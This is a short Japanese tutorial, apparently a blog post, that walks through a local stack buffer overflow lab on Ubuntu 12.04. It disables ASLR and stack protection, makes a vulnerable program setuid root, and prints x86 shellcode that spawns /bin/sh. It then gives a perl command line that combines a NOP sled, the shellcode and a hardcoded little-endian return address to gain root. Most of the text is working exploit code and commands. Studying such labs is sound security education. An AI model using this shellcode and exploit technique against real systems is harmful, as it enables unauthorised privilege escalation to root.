↑では、exploitコードから欠陥を持つプログラムvulnを起動することで、
一般ユーザから、rootになりました。。。
...が、perlから、vulnを起動してインタラクティブにroot権奪取を試行出来ます。
以下、ubuntu 12.04 LTSでの試行。
to be rootで記述されている、
アドレス空間のランダマイズの停止
sudo sysctl -w kernel.randomize_va_space=0
スタック領域の保護、スタック上のプログラム実行許可
gcc -fno-stack-protector -z execstack -o vuln vuln.c
オーナーをルート設定&スティッキービット設定
sudo chown root vuln
sudo chmod +s vuln
を忘れずに実行した後、
ターミナルで、exploit.cで定義したシェルコードを、一旦、shellcodeファイルに吐き出します。
perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode
vulnに、NOPコード(0x90)を202個、先ほど吐き出したシェルコード(shellcode)、偽の復帰アドレスを
与えます。
./vuln `perl -e 'print "\x90"x202;'``cat shellcode``perl -e 'print "\xe4\xf2\xff\xbf"x90;'`
すると、ターミナルのプロンプト表示が
$
となってルートになっているコトが分かります。
NOPコードを202個に設定しているのは、偽のリターンアドレスを4の倍数アドレスに配置するためです。
偽の復帰アドレスは、to be rootの試行で出力される復帰アドレスを設定しました。
to be rootの試行時、0xbffff2e4と偽の復帰アドレスが出力されます。
リトルエンディアン環境で試行しているため、
\xe4\xf2\xff\xbfを与えています。